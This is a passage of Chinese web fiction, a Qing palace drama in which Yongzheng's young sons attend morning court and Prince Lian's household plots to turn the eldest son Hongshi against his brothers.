“起来吧。”雍正看了一眼这两个小子,问道,“你们不在别有洞天读书,怎么跑这里来了。” “回汗阿玛的话,”弘历很是恭敬地答道,“方才去给皇额娘请安,也见过了三位姐妹。” 雍正微微点了点头,似是想起什么:“你们六弟年纪也渐大了,过个一年半载的就要开始启蒙了,到时候来同你们一起念书记得要好好照顾弟弟。” 弘昼和弘历面面相觑,最后还是弘昼开口:“汗阿玛,六弟是启蒙就要来同我们一起念书吗?” 其实弘昼想问的是,六弟现在说话能说利索吗?他和福惠除了年节几乎见不上面,上次见面的时候还是过年,只记得那时候福惠还说不利索话。 雍正瞥了弘昼一眼说道:“自然不是同你们完全一样,他三岁启蒙时同你们幼时一样一日只需上一个时辰的课就行了。到时候是在他额娘宫里启蒙还是上书房启蒙还未定下,若是用你们一起记得要看顾些弟弟。” 还没定下说什么,弘昼抽了抽嘴角,碍于汗阿玛的淫威没有多说什么。只是点了点头表示自己知道了。 “汗阿玛放心,”弘历微笑着说道,“儿臣一定会照顾好六弟的,兄长照顾弟弟本就是常理。” 见汗阿玛脸上露出了满意之色,弘历又说了些兄友弟恭之类的话。 等雍正的驾撵走后,弘昼看向了四哥。 似乎是察觉到了弘昼的目光,弘历漫不经心说道:“以年贵妃疼爱六弟的程度,六弟启蒙多半是不会来阿哥所的。” “为何?”弘昼好奇。 “不放心。”弘历笑了声,“这么多年来,年贵妃只养活了六弟,自然视之若珍宝,岂敢在六弟还年幼时随意放出去。” 他们年幼时,也是可以自己带着嬷嬷丫鬟出了院子去玩的。但年贵妃尚且在府里的时候便将福惠拘在院中,轻易不愿意带出来,如今进宫了之后亦是如此。这样宝贝的一个孩子,又怎么可能会愿意随意让六弟每日里从后宫来阿哥所念书呢? 多半是要在她自己宫里启蒙了,听闻年贵妃很有才情,或许会自己给六弟启蒙也说不定呢。 弘昼想起了年贵妃那没有养活的一儿一女,还有去年流产的事情,心里带上了一丝同情跟着点了点头。 圆明园的日子过得比在宫里安逸不少,弘昼几乎将他能去的地方都逛了个遍。圆明园的景致极好,每个院落都是搭建着不同的景致,将房子融入了景中的。 听闻每个房间的装饰摆设也都是根据此地的景致来设计的,那些没有住人的院子弘昼还能进去瞧一瞧,但是住人的院子他就不能随意进去了。 等到夏日一过,圆明园的景致又变了一个样。郁郁葱葱的绿开始变得枯黄,但也同样别有一番风味。 而夏日过了,便到了要搬回紫禁城的时候了。 相比于紫禁城,其实弘昼还是更喜欢圆明园。这里规矩相对松些,而且他念书的时间没有那么多。在紫禁城的时候,总觉得规矩森严,即便他现在是皇子了,依旧觉得有些喘不过气了。 而弘历就没有这么多的想法了,对他而言在哪都一样。摆在他面前最重要的事情就是好好念书,在汗阿玛面前拔得头筹,三哥和六弟目前对他的威胁性都不算大,但现在是现在日后是日后。 三哥暂且不提,单是六弟的额娘年贵妃,以及年贵妃母家的年羹尧就够他警惕了。年羹尧是汗阿玛看重的臣子,而年贵妃则是汗阿玛最宠爱的妃子,其中一样都不容小觑,更何况这两项相加呢。 但一想到六弟的年纪,弘历便不由露出笑意来。就算六弟什么都好,但好歹年纪还太小了些。 弘昼倒是不知道四哥的烦恼,他有属于他自己的烦恼,现在摆在面前最重要的一件就是他们兄弟俩要被拎到朝上被站岗了! 第99章 带着困意的早朝 弘昼和弘历今年方才十岁,雍正让他们跟着过来朝堂上听政的时候其实也犹豫过片刻。毕竟兄弟俩年纪实在不大,从前汗阿玛要他们兄弟去御门听政的时候,他们也都是过了十五岁生辰的。 但雍正转念一想,二哥幼年时便被汗阿玛带在身旁,可以说从小到大便一直看着汗阿玛汗阿玛是怎么办事的。虽说二哥后来被废了,但二哥不论是监国还是理政上面的才能,朝野上下都是无人能质疑的。 这两个小子现在倒也算不上太小,毕竟都已经十岁了,过上两年都能娶福晋了。早点来前朝也不是什么坏事,特别是弘历之前跟着汗阿玛本来也开始学办事了,只是因着自己之前刚登基事务实在繁忙才顾不得他。 这样打算着,弘昼和弘历就被提溜到了前朝。不过即便他们已经要去上朝了,但该跟着先生念书的时候还是要跟着先生念书的。只是在卯时之前结束念书来到乾清门前等着,然后早朝结束后再回去继续念书罢了。 本来以为去了前朝能轻松些的弘昼有点无语,感觉像是在上学的时候突然被家长安排了一个兴趣班,还是不得不去的那种。 这也让弘昼不免有点消极对抗的反应,他之前都能悄悄晚半个时辰去上书房了。但偏偏阿玛安排了他们上朝后,他们每日里至少要空出一个半的时辰去上朝,而先生的教学是不能停的,所以先生们便很自然地提前了一个时辰来上书房,让弘昼根本就没有晚去上书房的机会了。 每日里的事情变多后,弘昼就很自然地开始觉得自己睡眠不足。原本已经养好的黑眼圈又开始重出江湖了,每天早上从床上爬起来的时候弘昼就觉得很是难过。 圆明园那样美好的日子就要这样一去不复返了,怀念那时候只需要念半天书的日子。 相比于弘昼的懒散不愿,弘历上朝的姿态就要端正许多了。他之前跟着皇玛法的时候就学了点办事,但那时候皇玛法还并未安排他上朝。 而现在上朝的机会已经摆在他的面前了,要知道三哥也就只是能上朝,汗阿玛还并未给过三哥差事。现在他和弘昼站在朝会之上,便同三哥来到了同一起跑线上,甚至可以说是超过了三哥的起跑线。 现在的兄弟几个,弘昼看样子对朝事毫无兴趣,更喜欢安逸清闲的生活。六弟还太小了,暂且摆不到台面上来说。对于弘历来说现在唯一的对手只有这个三哥了,而这个三哥平日里表现得很是蠢笨,但自汗阿玛登基以来竟然谨慎小心了不少,这也让弘历不免开始上心起来。 可他毕竟年幼,身后也并无什么势力,额娘的母家算不得什么高门大户更提供不了什么助益。是以心中虽然警惕起来,但弘历暂时还没有什么能力去探查防备三哥。 而现在汗阿玛让他们上朝就是给了他一个绝佳的机会,上朝了就能接触朝臣,这就是他能不动声色发展自己势力的机会。不过在这时候也要小心些,毕竟汗阿玛正值春秋鼎盛之际,多半是不愿膝下的儿子早早地就开始纠集党羽。 所以在这个过程中他要小心谨慎,不能将这个目的表露得太明确了。甄选党羽的时候,也一定要慎之又慎。 弘历的烦恼,弘昼是暂时体会不到了。他睁着带有困意的眼睛,觉得自己简直要一头栽下去了。 昨日不知道从哪里跑来了几只寒鸦在他屋顶上叫了好一阵子,让他晚睡了至少半个时辰。原本睡眠就不足,现在晚睡了半个时辰他简直要在这里站着睡着了。 雍正此时正坐在最上面,听着下面官员的汇报。视线随意一扫,就看到了弘昼眼睛一闭一闭的,似乎下一刻就能睡着的样子。 这*副模样让雍正有了片刻的无语,从前自己也是这样过来的,怎么就没有这小子这么多的睡意。 尤还记得当年上书房之中,除却五弟被玛姆养得娇惯太过不大认真念书外。其余的兄弟们皆是铆足了劲儿在功课上,想要在汗阿玛的面前出一回风头。 雍正仔细想了想,似乎这小子最努力的那段日子就是自己登基前的一两年间了。那时候自己是警告了他要在上书房好好表现的,弘昼也很争气,表现得很是不错,甚至于汗阿玛都夸过两回。 但从自己登基后,就没有见过这小子努力的样子了。难不成日后一个郡王的爵位就满足了不成?忽然又想起当日自己带着气说日后指给这小子一个奉恩将军,弘昼欢天喜地应下来的场景,雍正的心里就突然一堵。 “弘昼,你怎么看?” 下面的大臣们忽然一静,其实这两位阿哥已经过来从旁听政好几日了。但皇上一直都没有点过他们俩,也没有格外关注过什么,怎么这突然叫了五阿哥。 便有不少人的目光开始在弘昼的身上打转,难不成皇上更看重的其实不是四阿哥,而是五阿哥吗? 弘历微微一闭眼,他刚刚看见弘昼犯瞌睡的样子就知道要遭。刚刚提醒了两三遍的,但还是被汗阿玛看见了。 弘昼猛地一激灵,刚才是谁在说了什么来着?他刚刚都快站着睡着了,自然没注意听大臣在汇报什么。 “直隶摊丁入亩。”弘历在一旁低着头小声提醒着。 弘昼眼神茫然,四哥的声音实在太小了,他听不清,便只能睁着眼睛无辜地看着雍正。 雍正瞥着弘昼,见他的眼神便来气,但又不能再朝堂上直接训斥这小子一顿。便只能哼了一声,随即给了那个汇报的大臣一个眼神,示意他继续。 朝堂上又响起了有条不紊的大臣汇报的声音,弘昼这下子是彻底醒了。汗阿玛这招太狠了,让他的瞌睡全都被抛到了九霄云外。 到了散朝的时候,弘昼还有弘历跟着大臣们往外走,他们还要回上书房继续去念书。 怡亲王笑眯眯看着弘昼说道:“怎么早朝的时候还打瞌睡,昨儿没睡好吗?” “昨儿晚上寒鸦叫了半个多时辰,”弘昼蔫儿哒哒地说道,“平日里本就睡不足,昨儿还少睡了半个时辰。” “原是如此,”一旁的理郡王弘晳微微点了点头,也笑道,“下回便叫太监们拿了网子将那鸟儿网下来便是了,这秋日里宫里的确多寒鸦。” 弘晳从前养在康熙身边,自雍正登基以来,待这个侄子一向很不错。刚登基就封了郡王,平日里也经常赏赐东西。 弘昼一一点头应了,到了外面正准备拐个弯去上书房的时候,就被从后面追来的苏培盛叫住了。 “五阿哥,”苏培盛脸上依旧带着笑,即便追人追得有些喘了态度也很是温和,“皇上有请。” 完了,弘昼在心里哀号,估计是要把自己叫过去骂一顿了。刚刚朝会上人太多了给自己留了点面子,现在被叫去养心殿肯定少不了一顿骂。 怡亲王大笑出声,拍了拍弘昼的肩膀便往外走去。他整日里都很忙的,一大堆事在衙门等着他,不然还真想去看看四哥是怎么训子的。 弘历给了弘昼一个爱莫能助的眼神后也走了,汗阿玛要骂五弟的话,他也是没有什么办法的。 等弘昼跟着苏培盛来了养心殿,等在里面的雍正果然将他骂了一顿。挨骂的时候弘昼还在惦记着上书房的点心,他和四哥一般这个时候回上书房就可以吃一顿点心了。 他用早膳已经是好几个时辰之前的事情了,现在一边听着汗阿玛的骂声,一边觉得自己的肚子似乎已经开始发出抗议了。 雍正骂了两句后看见弘昼似乎开始神游天外了,更是气不打一处来。上朝的时候打瞌睡也就算了,现在在自己一个人的面前也敢发呆了。 但还没等雍正责骂弘昼这个行为,就听见了一声极为响亮的声音从弘昼的肚子传来。 雍正惊呆了。 弘昼也惊呆了。 就算他一向都不觉得自己是个很要脸的人,但现在这一刻依旧感受到了极为丢脸的感觉。一股热度从脚底一直蔓延到了脸上,刹那间脸就红透了。 苏培盛在雍正的后面低下了头,掩住了嘴角的笑意。 殿内一时间充满了尴尬的氛围,直到雍正出声斥道:“可又是今儿起晚了没用早膳。” “不是啊汗阿玛,”弘昼有点委屈,“只是孩儿最近食量大了不少,又容易饿,本来想着这个时候回上书房吃一顿点心的。” 或许是开始长身体的缘故,弘昼这段日子特别容易饿,过了一两个时辰便要吃点心。从前的时候还会因为想要多睡一会儿不吃早膳,但现在不论他有多困都要爬起来把早膳吃了,不然到了上书房肯定会饿得心里发慌。 雍正心累,挥了挥手让他滚。 弘昼如蒙大赦,他是真的想回去吃点心了,回去晚了的话说不定来不及用点心。其实现在就已经有点晚了,说不定一回去先生就要来讲课了。 等弘昼出去,苏培盛笑吟吟跟出来:“五阿哥请留步。” 弘昼扭头奇怪:“苏公公,可是汗阿玛还有什么吩咐?” “皇上给您赏了点心,让你在东侧殿用呢。”苏培盛笑道,“皇上吩咐的,可见皇上疼您呢。” 弘昼看了看养心殿的西洋钟,算了算自己这个时候回阿哥所肯定来不及吃点心,便欣然跟着苏培盛来了东侧殿。 第100章 告诉你个小秘密 汗阿玛这里的点心就是好吃,弘昼整整吃了两碟子点心又喝了三盏茶才心满意足地回到了上书房去继续念书。 雍正批着折子听着苏培盛汇报弘昼吃了多少,半晌后说道:“给他们兄弟俩每日再加两餐点心。” “皇上一片慈父心肠,”苏培盛笑着恭维道,“待两位小阿哥极好呢。” 雍正不语,只是想到了自己从前的往事。他自幼养在孝懿皇后膝下,那时候孝懿皇后待他极好,他总是不缺吃穿的东西的。但后来搬到了阿哥所,他搬到阿哥所后孝懿皇后的身体便不是很好,于是嬷嬷便待他有些敷衍。 特别是小孩子容易饿,但嬷嬷怕他过食之后生病,便不愿他多吃。虽然现在长大后雍正觉得嬷嬷说的话不无道理,但总还是能想起那时候被嬷嬷拒绝后饿着肚子睡觉的场景。 刚刚在听见弘昼喊饿的时候他立刻便想到了小时候,想到了那些本以为早就忘却的事情。那时候兄弟之间除了大哥和二哥针锋相对外,其余的倒也算得上是兄友弟恭。 虽说大哥和二哥不对付,但这两位兄长对他们这些下面的弟弟也都是不错的。 想到这里,雍正的眼神微动了一下,他自登基后还未见过二哥,或许是该有空去看看二哥了。 弘昼回上书房的时候心情是飞扬的,因为他虽然迟到了,但理由是正当的,连先生也挑不出半点错处。虽说挨了汗阿玛的一顿骂,但同样在养心殿蹭到了两碟子点心,比较起来是一点也不亏的。 果然,先生在刚刚便问过了弘昼的去向,得知是被皇上留下来之后便不再过问,只是见他回来后看了一眼便继续讲课了。 倒是弘历有点担心,他私以为自家汗阿玛是个在生气的时候说话很有些毒舌的人。也不知道弘昼被骂了,会不会不高兴。 等先生上完课走出去后,弘历看着弘昼那眉飞色舞的表情彻底打消了自己刚刚的担忧。 “我方才还忧心你被汗阿玛骂了,”弘昼拿出了一张新的宣旨铺平,用镇纸压上准备练字,“但看你的表情似乎是我杞人忧天了。” “嘿嘿,”弘昼傻笑了一声,“虽说被汗阿玛骂了,但也吃了养心殿的两碟子点心,一点也不亏的。话说这养心殿的点心可真好吃,明明都是内饽饽房出来的,但给汗阿玛的点心就是最好吃的,若是我每天都能吃到就好了。” 弘历手下已经写出了五六个大字,听见弘昼的话随意回道:“若能每天都被汗阿玛留下来训斥的话,这倒也是可能的。” 说完这话后,弘历以为会听见弘昼贫嘴的话。但半晌都不见弘昼说话,诧异地望过去竟然看见了弘昼一脸心动的样子。 看样子是真觉得被骂无所谓,只要能吃到点心就好了。这副没出息的样子看得弘历无语:“你不会心动了吧?” 弘昼勉强从每天都能吃到养心殿点心这个诱惑的提议中抽离出来,嘴硬道:“没有,怎么可能心动。” 其实还是有一点点心动的,但是每天都让汗阿玛将他留下的难度也有点大。这其中要掌握尺度,轻了的话次数多了汗阿玛就懒得管了,重了的话他怕汗阿玛直接让人把他拉出去打板子。 现在还记得三哥在自己小时候被打板子的样子,惨叫都要传出十里远了。弘昼虽然现在容易饿了些,但也不想用挨打来换吃的。 等弘昼第二日看见太监送进来的点心,问清楚的汗阿玛给他们加的时候眼睛都亮了起来。在心里感谢了一下汗阿玛突如其来的爱子之心,便大快朵颐了起来。 他其实这段日子也偷偷给自己加餐的,但现在汗阿玛吩咐了就不用偷偷的了。 弘历拿着一块点心在嘴里轻轻咬开,蜂蜜裹着牛奶的滋味在嘴中蔓延开来。看着弘昼认真吃点心的模样,脸上慢慢地也带上了一点笑意,还好汗阿玛关注的是五弟而非三哥。 被弘历惦记的三哥弘时此时正在京城中的一间小茶馆内,他有点不大满意这里。虽说幽静,但并不临街,地段也不是繁华热闹的地方,更别说这里的茶了,喝起来都是一股子陈茶的味道。 这样的陈茶他就是还是王府阿哥的时候都不怎么喝过,现在翻身成了皇子,内务府早就将今年最好的茶捧到了他面前了。喝了这样的茶,就让他很是不高兴。 这样的不高兴被戴在了面上,让弘昼对面的弘旺很轻易地就看出来了。 弘旺今年也有十五岁了,虽然长了一张温厚老实丢在人群中毫无特色的脸,但身姿挺拔宛若一棵青松,身上穿着一件宝蓝色的衣裳,腰间佩着一块毫无杂色的白玉便看起来很是有贵公子的风范。 “这里清静些,约着堂兄过来本是随性而起,并未备好茶,还请兄长见谅。”弘旺噙着一抹笑说道。 听着弘旺的道歉,弘时脸上的嫌弃之色淡了点:“你我之间,也不必生疏至此。” 弘时之前被汗阿玛拘在雍亲王府中念书,那时候弘旺还在上书房念书,彼此之间没有交际便也渐渐地不来往了。但在雍正登基后,将弘时这个长子也带入了宫中,弘旺年纪也到了不去上书房的年纪,和弘时偶尔了几次后便又重新开始了交集。 对于这个八叔家中的小堂弟,弘时还是很喜欢的。毕竟弘旺说话很好听,每每都能说到弘时的心坎里。 “不过怎么约我到这么偏僻的地方。”弘时问道。 弘旺那憨厚老实的脸上刹那间就出现了一点愁苦之色,苦笑道:“也是不想连累兄长,你也知道我阿玛前几日才被皇上罚跪在太庙前一夜。倘若知道我和兄长见面,只怕……” 接下来的话弘旺就没有继续说了,但弘时已经明白了他的意思。 弘时的脸上夹杂了一点不自在,一点尴尬还有一丝的嫌弃:“这也是我汗阿玛太小气,不过就是更衣账房有些油味罢了,哪里就值得罚八叔跪一夜了。这么点小事,叫人打扫了不就行了。” 知道这件事的时候弘时是有些不可置信的,毕竟八叔此时已经是和硕廉亲王了,堂堂一个和硕亲王竟然因为这么点小事被罚跪一夜。 加之弘时一直对八叔的印象很好,便更觉得汗阿玛是小题大做了。不过弘时转念想了想,如果他现在是汗阿玛这个位置,那他可能对弘昼还有弘历也会这样,若是对这两个小子,那一夜又怎么能够呢? 不对,若是他的话,根本不会给这两个小子封和硕亲王。就让他们抱着光头阿哥的名头,一直到去地下吧。 弘旺当然不知道对面的弘时在想些什么,他只是叹了口气说道:“也是我阿玛行事不谨慎,这才让皇上动怒了。” “八叔行事不谨慎?”弘时轻轻撇了一下嘴角,“他行事怕是这朝中最谨慎的了。” 见弘时的脸上满是对他们的同情,甚至言语中出现了对雍正的些微不满。 捕捉到这一点的弘旺眼睛里慢慢绽开了笑意,果然阿玛是对的。 “不提这个了,”弘旺决定结束这个话题,“我阿玛这几日刚被罚,本是不想在这时候来同兄长联系的,实在是得知了一件事不得不告知兄长。” 弘时脸上出现了一点意外:“何事?” “我听阿玛提起上月皇上不是定下了规矩,日后立储要放在盒中存在正大光明牌匾之后。”弘旺的眉头皱了起来,似乎是当真在忧虑着什么似的。 弘时点了点头:“是有这么一回事,怎么了?” 弘旺的声音压低了下来:“我听闻,似乎那牌匾后面已经存了盒子了。” 原本弘时的手正放在茶盏上,听见这话震惊之下失手打翻了茶盏。原本淡定的神情变得震惊,猛地看向了弘旺:“你说什么?” 见到弘时的这个反应,弘旺心中很是满意,但面上依旧愁苦地皱着眉:“我之前有个交好的他在如今在御前当差,前儿约出来喝酒,醉后不小心说漏嘴了。本来这样的话我是该烂在肚子里的,但念及这件事关乎着兄长,便只能对不起他了。” 弘时的脸色已经彻底沉了下来,他能听懂弘旺的话中的含义。这件事关乎他,但弘旺却是这个表情,那想来这牌匾后面书写的人物就必然不是他了。 “你可知是谁?”弘时问出这句话的时候,几乎是咬着牙的。他明白自己不得汗阿玛的宠爱,但是他这个长子还在呢,在没有嫡子的情况下他又没有犯错,汗阿玛凭什么越过他去立下面的三个? 是不是弘历,他最有可能,毕竟皇玛法曾赐居毓庆宫给他,汗阿玛登基后也没有命他搬出来。也有可能是弘昼,这小畜生自幼就知道卖乖讨好,哄得汗阿玛昏了头也是有可能的。 或许是福惠,年贵妃将汗阿玛的心魂儿都勾没了,要立那个小崽子也是有可能的。 弘时快速地将三个弟弟在脑中都过了一遍,觉得谁都有可能。当然,其中最可能的是弘历,但另外两个的可能性也不小。 弘旺窥着弘时的脸色,摇了摇头:“这样的事情我那朋友又是如何能知的呢?他知道这件事就已经是机缘巧合了。” “这事我知道了,”弘时深吸了两口气后,对着弘旺说道,“还要多谢你告诉我。” 弘旺的脸上出现了笑意,眼睛里也带着笑:“兄长何必如此客气。”【你现在阅读的是魔蝎小说 moxiexs】 100-110 第101章 盯—— 送走弘时之后,弘旺那脸上原本憨厚的笑意收了起来。很快有下人进来将弘时喝过的茶具收了下去,又给弘旺上了一壶新茶。这壶新茶是今年的雨前龙井,也是弘旺最喜欢的茶水之一。 弘旺端起茶盏喝了一口后脸上又露出了笑容,不过这个笑容不再憨厚,而是充满了讥讽。为何这样的蠢货的阿玛却能胜了自家阿玛呢,让这样的人踩在自己头上还真是觉得不爽。 但是转念一想,若非上面坐着的那位有这样一个蠢笨的儿子,甚至是长子,他又如何能捕捉到这样的机会呢。 在这茶室坐了一刻钟后,弘旺便回了廉亲王府。 原本贝勒府的牌匾被摘了下来,换成了和硕亲王的牌匾,但府邸内里却和从前别无二致。之前八贝勒府旁边留出预备着扩建的荒地依旧还是空着,这个府邸的规制依旧是贝勒府的级别。 进了府邸后,弘旺便来到了廉亲王的书房。 廉亲王此时正在绘画,手里的毛笔在旁边颜料中浅浅一蘸,随后在微微泛黄的纸上描绘。 弘旺进来后并未出声,而是乖觉地站在书桌前静静地观看着。 等廉亲王将笔下的这只鸟儿画好后,才抬头看向了弘旺:“事情都办妥了?” “已经办妥了,”弘旺扬起一个笑说道,“瞧弘时的样子,定然已经将这件事记在了心里。” 说是有个御前侍卫的朋友那自然是假的,如今的这位上位之后,御前侍卫这样近身的职业自然都换成了他原本属下的旗人。这些人在雍正还未上位前就归雍亲王府管,自然不可能和当时的八贝勒府有什么牵扯。 而今廉亲王的处境,自然就更不可能让这些人亲近了。 这样的话弘时是没有地方可以求证的,哪怕他心存疑虑,可他也不可能直接去问那位,同时也没有能在那位旁边近身侍候的人可以询问。所以他一定会把弘历当成假想敌去斗,只要乱起来,他们才有可乘之机。 廉亲王轻轻嗯了一声:“做事小心些,你那个茶室日后不可当谈要紧事的地方。” “阿玛的意思是?”弘旺略皱起了眉。 廉亲王的脸上没有笑意,声音甚至可以说有些冷淡:“他刚刚罚了我,又岂会不盯着我们府上的人。倘若你还小便罢了,看你如今也有十五了。那个茶室日后便好好开门做生意,勿要再当作谈事的地方了。” 弘旺的脸上忽然出现了愤懑之色:“那样一件小事竟然就罚了阿玛跪了一夜,如今秋夜寒凉,那位竟——” “住嘴!”廉亲王的声音冰冷,飞过去的一眼中带着震慑,“我难不成没有教过你吗,这样的话也是能宣之于口的?” 弘旺愤愤住嘴,头微微撇了过去,呈现出了不服气的姿态。 看了弘旺不服气的脸一会儿后,廉亲王终究还是放缓了语调:“如今人为刀俎,我为鱼肉,这样的话说来又有何益。” “是那位容不得人,”弘旺的声音也低了些,“明明,明明只要那位能容下阿玛,便不会再有这许多事情。” 廉亲王淡淡地看了弘旺一眼:“倘若这般轻易就能容下,又何如会有七步成诗。昔日魏文帝又为何要逼迫幼弟殿上作诗,况且那还是同母的弟弟。” 更何况易地而处之,廉亲王也不觉得自己就会轻易地放了四哥。只能说成王败寇罢了,只是他这个败者不甘就这样无声无息地落败,即便是困兽之斗,也要试试能不能搏出一条生路来。 将手中的笔放下之后,廉亲王的声音低沉而冷淡:“这样的话在这里问一句也就罢了,不想被揪住小辫子的话就莫要在其他的地方多言。这段日子,你也勿要与弘时来往了,在府中好好读书,看看弘时会使出什么招数再说。” “阿玛不是要帮衬弘时吗?”弘旺疑惑。 廉亲王又开始蘸墨:“凑上去一次就足够了,等他碰了钉子自然会主动过来找我们,倘若一直凑上去便落了下风。” 弘旺似懂非懂地点了点头表示自己明白,廉亲王也并没有要进一步解释的意思,只是让他退下。 从阿玛的书房出来,弘旺就回了自己的院子。他如今已经娶了福晋,府中将一处位置好又宽敞的院落单独划给了他和福晋居住。 “大爷回来了。”福晋见他回来了抿嘴一笑,便令旁边的侍女上前来服侍他换衣裳。 刚刚出门见弘时,身上穿的是见客的衣裳,换了身家常的衣裳后才觉得浑身轻松了起来。 换好了衣裳出来,弘旺便接了福晋亲手奉过来的茶水。 这个福晋是去年娶进门来的,还是皇玛法亲自指的婚事。为人很是贤良,岳家本也是大族,可见如今的形势之后,见福晋时总是冷冷淡淡的。 “今日出门办事可顺利?”福晋笑着问道,“今儿大爷急匆匆就出门了,连早膳都没有好好用,日后可不许这样了。长此以往,岂不是要令肠胃受损。” 听着福晋关心的话语,弘旺觉得心中原本的郁气渐渐平静了下来,正想答话,就见福晋的手腕上有一道细细的伤口。那伤口在手腕内侧,寻常是不大容易看出来的,这还是福晋的手微微往外翻才让弘旺看见了。 “这是怎么回事?”弘旺将福晋的手抬起,皱着眉问道。 福晋的脸色有些躲闪:“不妨事,是妾身昨儿不小心将茶盏摔了,这才伤到的。” 弘旺的眉头微微皱起,还未提出质疑,就听见福晋旁边的大丫鬟愤愤不平说道:“哪里是不小心伤到的,分明是昨儿福晋回娘家……” 这话还未说完,便被福晋呵止了:“彩云还不住嘴,这里有你说话的地方吗?” 弘旺全都明白了,去年他与福晋刚成亲的时候福晋娘家的态度还是很恭顺的。但自那位上位之后,福晋的娘家态度就变了,不只是对他,甚至对福晋都极为恶劣,看样子是想要撇清干系免得到时候被那位清算的时候连累了。 微微闭了闭眼后,弘旺紧紧地盯着福晋手腕处那细微的划伤,似乎是在警告着自己什么一般。 败者不必胜者亲自羞辱,便会有旁人来践踏。但只要还有机会,他就绝不会认输的。 秋日的紫禁城已经很是凉爽了,弘昼也将略厚些的衣裳穿在了身上。秋天算得上是最舒服的季节了,既不会太热,又不会太冷。即便是在有太阳的日子,练习骑射的时候也不会被灼热的阳光射得人困意上涌。 唯一不让弘昼满意的是屋顶偶尔还会落几只鸟儿下来叽叽喳喳的,好在一般叫一会儿就飞走了,没有落下来就叫半个时辰的事情了。 这日弘昼和弘历刚从朝会上打卡结束,准备回上书房听先生讲课时,就被弘时在上书房前拦住了。 弘时早就在朝堂上站岗了,从雍正刚登基开始,这个长子就一直在朝会上站着。不过既未给过他什么要紧的差事,又没有在朝会上点过他的名,所以朝臣们也就不敢亲近这位实际上的皇长子。 要知道上面的这位可是从九龙夺嫡中杀出来的主儿,他一上位就表示了要秘密立储,但凡能混到可以上朝的谁也不是蠢货,自然能明白这位的意思。 即便想要搏一搏,也要看准了之后才能下注。在不知道皇上对其他阿哥的态度之前,没有谁会把这带着身家性命的赌注投给三阿哥。即便要投,也要在合适的时候投,最好能让自己的付出得到最高的回报。 等四阿哥和五阿哥上朝后,那些待价而沽的人就更犹豫了些。 之前三阿哥上朝的时候,可不曾见过皇上专门点过他什么。但四阿哥和五阿哥上朝这短短的几日内,皇上便点了五阿哥两三次了,也问过四阿哥一回意见。 见弘时挡在了前面,弘历的眉头不着痕迹地皱了一下,但很快又舒展开来:“三哥可是有事?” 弘时打量着面前的两人,他打量得很是仔细,从头到脚一一看过去。 这番作态让弘昼莫名其妙,他皱起眉问道:“我们还要回去跟着念书,三哥若是无事便请让开吧。” 弘昼自觉这话说得很客气了,他甚至用了礼貌用语。要知道弘时和他们说话的时候一般是不会用礼貌用语的,不是咬着牙就是颐指气使的。 弘时的眼神如深潭一般黑幽,将弘昼和弘历都打量了一遍后冷笑了一声便走了。 这两年间他也是长进了些的,早就非当年的吴下阿蒙了。自然只要在自己不占理的时候不要提前起冲突,既然汗阿玛已经秘密立储了,那多半是看好这两个之中的一个了。 毕竟年贵妃养着的六弟太小了,还不算彻底立住,脑子清醒后想想就知道汗阿玛那样的性子不可能立那样一个小孩子。 既然是因为看好才立的,那就只需让汗阿玛对这两个失望透顶就行了。只有汗阿玛对他们两个失望了,他这个长子才有重新出头的机会。 弘昼看着弘时离开的背影,只觉得莫名其妙:“他这是发什么疯,专门凑过来就是想要看我们两眼?” “你这些日子小心些。”弘历看着弘时离去的背影,若有所思。 事出反常必有妖,弘时突然这样凑过来盯了他们一会又走了,这样反常也不知道是因为什么。不过不管弘时是怎么想的,只要他们小心些总不会有错的。 第102章 挑拨 自弘时那次来盯着他们看了一会后,弘历很是警惕了一阵子。但见弘时迟迟没有什么动静,便也渐渐地放下了心来。 弘时回去很是颓了一阵子,他如今知道那正大光明牌匾后已经放了名字,而那个名字十之八九不会是他。想想自己日后可能会给弘历弘昼这两个小畜生跪下磕头的样子,便觉得浑身都泛着不满。 凭什么?自己可是汗阿玛的长子,从前还在潜邸时,额娘可是李侧福晋,那可是上了玉碟的。不想弘昼和弘历这两小子,不过是格格所生的罢了。 即便汗阿玛登基后给钮祜禄氏封了个熹妃,可弘历的身份依旧是赶不上自己的。 “爷,”夕莱仔细观察着弘时的脸色上前来,“佟佳五爷传信儿,想要请您去祥和酒楼喝一杯呢。” 这几日瞧着爷总是不高兴,夕莱和祥桂伺候得总是小心翼翼的,生怕什么地方犯了忌讳。要知道主子可不是什么好性子,若是在心情不好的时候犯了忌讳,多半是要吃挂落的。 “佟佳福成?”弘时下意识想要说不见,但随即眼前一亮。 他当然不想日后跪在那几个弟弟面前,那就只有在汗阿玛面前表现自己这一条路可以走了。在汗阿玛面前表现自己的时候,也可以拉拢几个朝中重臣,让他们在汗阿玛的面前给自己说好话。 这佟佳福成的叔叔可是隆科多,现在朝堂上炙手可热的重臣,已经和年羹尧一同被加封为了太保。若说现在汗阿玛在前朝最为信重的人,那就是年羹尧隆科多还有十三叔了。 “去传信儿,说我应了。”弘时的唇角微微勾起了一抹笑意,“我同福成也许久不曾见了,这回可是要不醉不归的。” 见主子的神色好转,夕莱才算松了口气,当即高高兴兴地就去传信了。 见弘时应了邀约的福成本来很高兴,因为弘时自从开始进宫念书后便与他们少于交集了。还是这一两年才捡回来些交情,现在弘时成了紫禁城的皇子,福成自然也想要来攀一攀这层关系。 这次宴请他本来已经打算好了,一定要带着弘时叙叙他们之前的交情,再加深一下感情。皇上可是只有四个儿子,弘时日后至少一个和硕亲王是跑不了的,说不定以后还有要倚仗的地方。 虽说他三伯隆科多如今深受皇恩,但这个三伯脑子仿佛被他后院的那个李四儿吃了一样,一点不认家里人。如今家中人想要求他办事,还要先去讨好李四儿。 而福成不愿意去讨好那个李四儿,他和堂兄岳兴阿的关系不错。而这个李四儿致使之前的三伯母惨死,他一见那个女人就心烦,能表面上维持和平就不错了,更遑论讨好了。 等弘时来赴宴后,也对福成表现得很是热络。 两人各怀鬼胎,推杯换盏之间叙了些幼年时的感情。直到都喝得脸颊通红,两人脸上都带上了醉意。 “你三伯如今在朝堂上还真是,”弘时一边说着一边打了个嗝,“还真是颇受重用啊,想来你们家也受益不少了。” 福成喝得也有了七分的醉意,脑子都有些转不动了,但还是记得在外面不要表露出自己对这位大权在握叔叔的不满。 含含糊糊说道:“哪有,我这三伯铁面无私得很。” “铁面无私?”弘时微微睁大了点眼睛,结结巴巴问道,“怎,怎么个铁面无私法?” “我们家的人想要在他面前求官可难如登天,”福成说道,“若是我玛法玛姆还在的话便好说,可现在这些能压住他的长辈都已经去了,大伯二伯都管不住他。至于我们这些小辈,在他眼里和猫儿狗儿又有什么区别。” 